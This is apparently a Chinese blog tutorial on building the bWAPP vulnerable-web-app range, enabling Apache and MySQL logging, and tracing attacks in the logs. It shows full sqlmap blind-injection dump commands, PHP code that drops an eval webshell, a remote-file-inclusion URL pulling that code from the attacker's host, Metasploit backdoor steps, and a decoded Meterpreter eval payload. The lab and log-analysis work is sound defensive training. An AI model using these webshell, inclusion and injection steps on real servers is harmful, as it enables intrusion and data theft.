bWAPP靶场搭建

bWAPP靶场简介

bWAPP,或称为“buggy Web Application”,是一个开源的、故意设计有漏洞的Web应用程序。它用于教育和训练安全性测试的目的,提供了一个安全的环境来实践和提高Web应用程序渗透测试的技能。bWAPP涵盖了各种Web应用程序安全漏洞,包括所有的OWASP Top 10漏洞,以及其他许多常见的安全问题,如SQL注入、XSS(跨站脚本攻击)、CSRF(跨站请求伪造)、XML注入等。

安装phpstudy

phpstudy没什么好说的,基本上学习WEB都需要用到

这里就放一个下载链接:https://www.xp.cn/

下载bWAPP靶场

bWAPP下载地址:https://sourceforge.net/projects/bwapp/

需要注意的是,SourceForge网站会提示该文件包含病毒,需要我们额外手动点击DOWNLOAD链接

设置数据库

将bWAPP靶场的源码bWAPP文件夹放在phpstudy的WWW目录下

bWAPP/admin目录下找到settings.php配置文件

打开后修改其中的数据库用户名和密码

在首页中启动MySQL和Apache服务

进入网站栏,点击创建网站

域名使用本地地址localhost即可

根目录设置为bWAPP文件夹的路径

最后点击创建数据库

这里数据库的名称、用户名和密码与刚刚配置文件中的内容同步

打开浏览器,访问http://localhost/login.php进入靶场首页,访问成功

bWAPP默认使用的是sqlite数据库,所以需要将其中的数据导入到搭建的MySQL数据库中

打开Navicat软件,首先连接上phpstudy的MySQL数据库

其中有刚刚创建的bwapp库,不过里面没有任何表

接下来找到bwapp自带的数据库,位于bWAPP/db目录下

将Sqlite的main库中的数据表依次复制到MySQL中

进入自动传输界面,将每个表都勾上

切换PHP版本(重要)

由于bwapp这个靶场年代久远,很多关卡需要旧版本PHP才能部署,所以需要在网站设置中切换PHP版本,这里设置为PHP5.5.9(PHP7以前的版本基本都可以)

登录靶场

访问http://localhost/login.php,回到登录页面,输入默认用户名bee和密码bug

成功进入靶场

定位日志位置

在phpstudy搭建的靶场环境中,需要主要关注Apache和MySQL的日志文件,因为这些日志能够记录下网站访问信息、错误信息以及数据库操作信息,是分析攻击行为和手段的关键数据。

Apache日志文件

对于Apache服务器,日志文件主要分为访问日志和错误日志。在phpstudy环境下,这些日志文件通常位于:

  • 访问日志[phpStudy安装路径]\Apache\logs\access.log
  • 错误日志[phpStudy安装路径]\Apache\logs\error.log

访问日志记录了所有对网站的请求,包括请求的URL、请求时间、客户端IP等信息。通过分析访问日志,可以追踪攻击者的访问路径和尝试的攻击类型。错误日志则记录了网站运行过程中的错误信息,对于分析攻击是否成功以及确定攻击导致的具体错误非常有用。

开启请求体记录

mod_dumpio模块会记录所有Apache接收到的请求数据和输出的响应数据

找到Apache的配置文件,默认路径通常为apache\conf\httpd.conf

用记事本打开并定位到下面这行设置,取消它的注释

在最后一行添加DumpIOInput On,仅开启对请求数据的完整记录

同时,为了输出到日志文件中,需要确保LogLevel改为trace7

重启Apache服务器

MySQL日志文件

MySQL的日志可以帮助我们跟踪数据库查询操作,对于分析SQL注入攻击尤为重要。在phpstudy环境下,MySQL的错误日志通常位于:

  • [phpStudy安装路径]\MySQL\data\[服务器名称].err

开启通用查询日志

除了基本的错误日志,MySQL还可以开启通用查询日志

通用查询日志记录了数据库接收到的每一个指令,包括SQL语句

找到MySQL的配置文件,通常是my.cnfmy.ini,位置根据操作系统和MySQL版本而异

[mysqld]节中添加如下语句

1
2
3
[mysqld]
general_log = 1
general_log_file = /path/to/your/logfile.log

日志的位置general_log_file视方便来设置,可以直接设在MySQL根目录下,即[phpStudy安装路径]\MySQL

重启MySQL服务,进入MySQL/bin目录下打开终端,连接到靶场的mysql数据库

回到根目录,使用记事本打开日志文件,可以看到刚刚的登录信息被记录下来

我们再测试一条SQL语句Show databases;

回到日志文件,刚刚的SQL查询语句已经被记录下来

SQL注入

实施攻击

SQL注入的关卡选择布尔盲注这关,即SQL Injection - Blind - Boolean-Based,因为布尔盲注的注入过程和SQL语句具有明显的步骤特征,适合进行日志分析溯源

首先收集关卡的信息,关卡页面中只有数据库查询功能

使用R1ck' or 1=1 --判断注入点

并没有返回具体数据,而是返回一个布尔值,非常符合布尔盲注的条件

因为后续对该攻击过程的日志分析更加重要,这里就不进行手动注入了

直接使用自动工具sqlmap进行布尔盲注,执行如下指令(由于使用的是kali虚拟机上的sqlmap,localhost替换成主机的内网IP)

1
sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" --dbs --technique=B --risk=2 --level=2

使用technique选项来指定攻击类型为布尔盲注

由于该靶场需要登录,在浏览器中找到该靶场的cookie,放在cookie选项后

需要注意的是,该页面除了title这个注入点,还需要设置action参数为search后才能搜索

得到数据库后,开始爆破bwapp库中的数据表,执行如下指令

1
sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" -D bwapp --tables --technique=B --risk=2 --level=2

选择本关使用的movies数据表,爆破出其中的数据(包括爆破字段名和具体数据项)

1
sqlmap -u "172.29.82.96/sqli_4.php?title=t&action=search" --cookie "security_level=0; PHPSESSID=844c9m2j6bd5r8mmhqftrnaip7" -T movies --dump --technique=B --risk=2 --level=2

得到movies数据表下的所有数据项,这里可以看作本关卡攻击成功

日志分析

实施完攻击后,查看生成的数据库日志

攻击者(这里是sqlmap)的SQL语句存在很强的布尔盲注特征

首先sqlmap向数据库注入一些常规的语句,用来确定数据库的类型或版本,同时探测数据库的特定特性或漏洞。

例如AND 2892=(SELECT (CASE WHEN ((SELECT TDESENCRYPT(NULL,NULL)) IS NULL) THEN 2892 ELSE (SELECT 2745 UNION SELECT 9850) END))这一句

该SQL语句尝试调用TDESENCRYPT函数,这是一个数据库特定的加密/解密函数,通过这种方式,攻击者试图确定数据库是否支持此函数,从而推测数据库类型。

像Sybase ASE和 Microsoft SQL Server数据库都使用TDE来加密存储在数据库中的数据

而下图中的的这些语句则通过爆破VERSION()等函数来确定数据库的版本

在确认数据库类型之后,sqlmap开始针对性地进行布尔盲注攻击

靶场的数据库为MySQL,所以sqlmap利用MySQL支持的INFORMATION_SCHEMA数据库来爆破出靶场数据库中存在的库

当然,在爆破每个字符串时,sqlmap也存在一些特征,可以从日志中分析出来

sqlmap使用了二分法来确认每个字符的chr值,这样相比于常规的一个值一个值进行比对要快得多

整个脱库的过程遵循着爆破数据库、爆破数据表、爆破字段名、爆破具体数据项的步骤

远程文件包含

打开远程文件包含配置

进入phpstudy的设置>配置文件栏,点击使用的php版本

找到allow_url_include这项配置,将Off改为On

重启Apache服务器

实施攻击

本关卡使用kali虚拟机来模拟攻击机,将一句话木马写到hack.jpg文件中

文件内容如下,注意内层的key用了单引号,外层代码需要用双引号包裹

1
2
3
4
<?php
$code = "<?php eval($_POST[\'R1ck\']); ?>";
fputs(fopen("shell2024.php", "w"), $code);
?>

接下来检查kali虚拟机中是否安装了Apache服务器,执行apache2 -v

成功返回版本信息,说明kali中已经安装Apache服务器

Apache的默认Web根目录通常位于/var/www/html,将刚刚构造的木马文件放于该目录下

执行sudo systemctl start apache2来启动Apache服务器

此时在主机上测试是否能访问到kali虚拟机构建的服务器下的文件

在浏览器中访问172.29.74.233/hack.jpg,发现浏览器以图片形式加载了该木马文件,说明远程服务器可以连接

在kali攻击机的浏览器中输入http://172.29.82.96/rlfi.php?language=http://172.29.74.233/hack.jpg&action=go来利用远程文件包含漏洞

使用kali中的Metasploit来连接到包含的远程文件中的一句话木马

执行msfconsole进入控制台

执行use exploit/multi/http/caidao_php_backdoor_exec,使用其中自带的中国菜刀工具

PASSWORD即注入点,设置为R1ck

URI设置为生成的webshell后门/shell2024.php

设置RHOST为靶机IP

执行exploit

执行几个远程指令测试一下,例如ls ..,成功输出上层目录下的文件

执行sysinfo输出靶机的系统信息

日志分析

在访问日志access.log中,能够找到一开始利用远程文件包含的请求

接下来攻击者连接后门并远程执行指令的过程都记录在error.log中

观察dumpio模块记录在error.log中的日志,整个攻击过程都是通过http请求完成的

meterpreter工具将自身伪装为IPAD设备,同时发送的远程命令使用了base64编码来加密

选择一句加密后的命令,丢到cyberchef中,先解一层url编码,然后是base64编码

这段传输的PHP代码是一个典型的远程代码执行(RCE)载荷

error_reporting(0);用于禁用错误报告,使得在执行过程中不显示任何错误信息,增加了代码的隐蔽性。

后面这段PHP代码的允许它接收并执行来自攻击者的任何PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream':
$b .= fread($s, $len-strlen($b));
break;
case 'socket':
$b .= socket_read($s, $len-strlen($b));
break;
}
}
...
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else {
eval($b);
}

变量$b用于存储远程执行的命令

根据服务器环境的不同(是否安装了suhosin扩展,以及是否禁用了eval),这段PHP代码采取不同的方式来执行接收到的命令

收获

谈到本次实验的收获,首先是要认识到,服务器开启日志记录很有必要,很多攻击可以从这些日志中溯源,进而还原攻击者的攻击链

当然,现实场景下,日志中的攻击痕迹不会这么容易就找到,很多情况下日志里记录了一天甚至是一周时间中服务器上发生的事情,想一条一条去分析无疑是大海捞针

这个时候就需要运维人员掌握一些攻击方式产生的日志的特征。例如本次实验中的SQL盲注产生的日志,攻击者发送的SQL语句涉及到了LENGTH()长度函数和用于获取字符ASCII码的ORD()函数,同时还进行大量比对操作。这些SQL语句很少会在日常使用数据库中出现,所以可以看作攻击的特征

而且,凡事要看它的两面性。有盾就有矛,通过日志分析一些渗透工具的攻击逻辑能够更好地掌握安全知识。例如SQL盲注中使用二分法可以更加高效,以后如果安全岗面试官让你手写一个SQL盲注工具的代码,异或是攻防比赛中限制使用工具,这些分析日志时总结的知识点都会让自己受益。